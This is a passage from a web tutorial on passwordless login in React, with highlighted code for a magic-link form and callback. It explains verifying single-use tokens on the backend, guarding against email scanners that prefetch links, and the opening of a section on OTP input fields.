class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">headers</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token string-property property" style="color:rgb(12, 150, 155)">"Content-Type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"application/json"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">body</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:rgb(17, 17, 17)">JSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">stringify</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"> email </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">form</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">onSubmit</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)">sendLink</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">input</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">        </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">type</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">email</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">        </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">value</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)">email</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">        </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">onChange</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token tag script language-javascript parameter" style="color:rgb(153, 76, 195)">event</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript function" style="color:rgb(153, 76, 195);font-style:italic">setEmail</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)">event</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token tag script language-javascript property-access" style="color:rgb(153, 76, 195)">target</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token tag script language-javascript property-access" style="color:rgb(153, 76, 195)">value</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">        </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">autoComplete</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">email</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">button</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">type</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">submit</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text">Email me a sign-in link</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">button</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">form</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>Here, <code>/api/auth/magic-link</code> is an endpoint you implement on your backend.</p>
<p>React sends the email address to that endpoint, and the backend creates a cryptographically strong, short-lived token and sends the user an email containing a link.</p>
<p>That link might look something like this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">https://app.example.com/login/callback?token=abc123</span><br></span></code></pre></div></div>
<p>The user clicks the link, comes back to your application, and the token is sent to the backend for verification.</p>
<p>If the token is valid and has not expired or already been used, the backend can authenticate the user and create a session.</p>
<p>So the basic flow is:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">User enters email</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React asks backend to send a magic link</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Backend creates a short-lived token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">User receives the email</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">User clicks the link</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Backend verifies the token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">User is authenticated</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="handling-the-callback-route">Handling the callback route<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#handling-the-callback-route" class="hash-link" aria-label="Direct link to Handling the callback route" title="Direct link to Handling the callback route" translate="no">​</a></h3>
<p>Once the user clicks the link in their email, they need somewhere to land in your React application.</p>
<p>Suppose the link points to:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">https://app.example.com/login/callback?token=abc123</span><br></span></code></pre></div></div>
<p>Your callback page can read the token from the URL and send it back to the backend:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:rgb(153, 76, 195);font-style:italic">MagicLinkCallback</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">[</span><span class="token plain">status</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> setStatus</span><span class="token punctuation" style="color:rgb(153, 76, 195)">]</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useState</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"Signing you in..."</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useEffect</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> token </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword" style="color:rgb(12, 150, 155)">new</span><span class="token plain"> </span><span class="token class-name" style="color:rgb(17, 17, 17)">URLSearchParams</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token dom variable" style="color:rgb(201, 103, 101)">window</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">location</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">search</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">get</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"token"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">fetch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"/api/auth/magic-link/verify"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"POST"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">headers</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token string-property property" style="color:rgb(12, 150, 155)">"Content-Type"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"application/json"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">credentials</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"include"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">body</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:rgb(17, 17, 17)">JSON</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">stringify</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"> token </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">then</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token parameter">response</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">if</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token operator" style="color:rgb(12, 150, 155)">!</span><span class="token plain">response</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">ok</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">          </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">throw</span><span class="token plain"> </span><span class="token keyword" style="color:rgb(12, 150, 155)">new</span><span class="token plain"> </span><span class="token class-name" style="color:rgb(17, 17, 17)">Error</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"Invalid link"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">setStatus</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"Signed in"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">catch</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">setStatus</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token string" style="color:rgb(72, 118, 214)">"This sign-in link is invalid or has expired."</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">[</span><span class="token punctuation" style="color:rgb(153, 76, 195)">]</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">p</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">status</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">p</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>React is not deciding whether the token is valid.</p>
<p>It reads the token from the callback URL and sends it back to the backend that issued it.</p>
<p>The backend checks things such as whether the token exists, whether it has expired, and whether it has already been used.</p>
<p>If those checks succeed, the backend can authenticate the user and establish a session.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-prefetch-problem-and-how-to-survive-it">The prefetch problem and how to survive it<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#the-prefetch-problem-and-how-to-survive-it" class="hash-link" aria-label="Direct link to The prefetch problem and how to survive it" title="Direct link to The prefetch problem and how to survive it" translate="no">​</a></h3>
<p>There is one slightly awkward problem with magic links.</p>
<p>The first thing that opens the link might not be the user.</p>
<p>Email providers and security products often inspect links inside messages before the user clicks them. They do this to check whether a link might lead to a malicious website.</p>
<p>That can cause problems if simply opening the URL immediately consumes your one-time login token.</p>
<p>For example, this design can be fragile:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">GET magic-link URL</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Token is immediately consumed</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">User clicks the email later</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Link no longer works</span><br></span></code></pre></div></div>
<p>A safer approach is to avoid completing the authentication just because someone performed a GET request.</p>
<p>Instead, the link can first open a confirmation page:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">GET magic-link URL</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Show confirmation page</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">User chooses to continue</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">POST token for verification</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">   ↓</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">User is authenticated</span><br></span></code></pre></div></div>
<p>The token can still be short-lived and single use.</p>
<p>The difference is that the security-sensitive action only happens after an explicit user action rather than the first time something fetches the URL.</p>
<p>There's one more thing to think about with magic links: the user may not open the link on the same device where they started the login.</p>
<p>They might request the link on a laptop, then open the email on their phone and continue from there.</p>
<p>Whether you allow that is a product decision.</p>
<p>It makes the experience more flexible, but it also means the email account becomes the thing proving the user's identity. The original browser session is no longer necessarily part of that proof.</p>
<p>So when you design a magic-link flow, decide whether cross-device login is something you want to support and what that means for your recovery and security model.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="email-and-sms-otp-in-react">Email and SMS OTP in React<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#email-and-sms-otp-in-react" class="hash-link" aria-label="Direct link to Email and SMS OTP in React" title="Direct link to Email and SMS OTP in React" translate="no">​</a></h2>
<p>OTP is the pragmatic middle ground.</p>
<p>There is nothing to enroll.</p>
<p>There is nothing permanent for the user to remember.</p>
<p>And unlike a magic link, the login flow can stay in the original browser.</p>
<p>The user enters their email or phone number, receives a code, and types it back into the application.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="building-an-otp-input-that-does-not-fight-the-user">Building an OTP input that does not fight the user<a href="https://wso2.com/identity-platform/learn/passwordless-login-react#building-an-otp-input-that-does-not-fight-the-user" class="hash-link" aria-label="Direct link to Building an OTP input that does not fight the user" title="Direct link to Building an OTP input that does not fight the user" translate="no">​</a></h3>
<p>There is a surprisingly easy way to make OTP inputs annoying: build six beautiful individual boxes.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">[ 1 ] [ 8 ] [ 4 ] [ 7 ] [ 2 ] [ 9 ]</span><br></span></code></pre></div></div>
<p>Now you have to manage:</p>
<ul>
<li class="">focus movement,</li>
<li class="">backspace behavior,</li>
<li class="">pasting six characters,</li>
<li class="">arrow keys,</li>
<li class="">screen readers,</li>
<li class="">mobile keyboards.</li>
</ul>
<p>Unless you have a strong UX reason otherwise, a single field is wonderfully boring:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">input</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">name</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">otp</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">inputMode</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">numeric</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">  </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">autoComplete</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 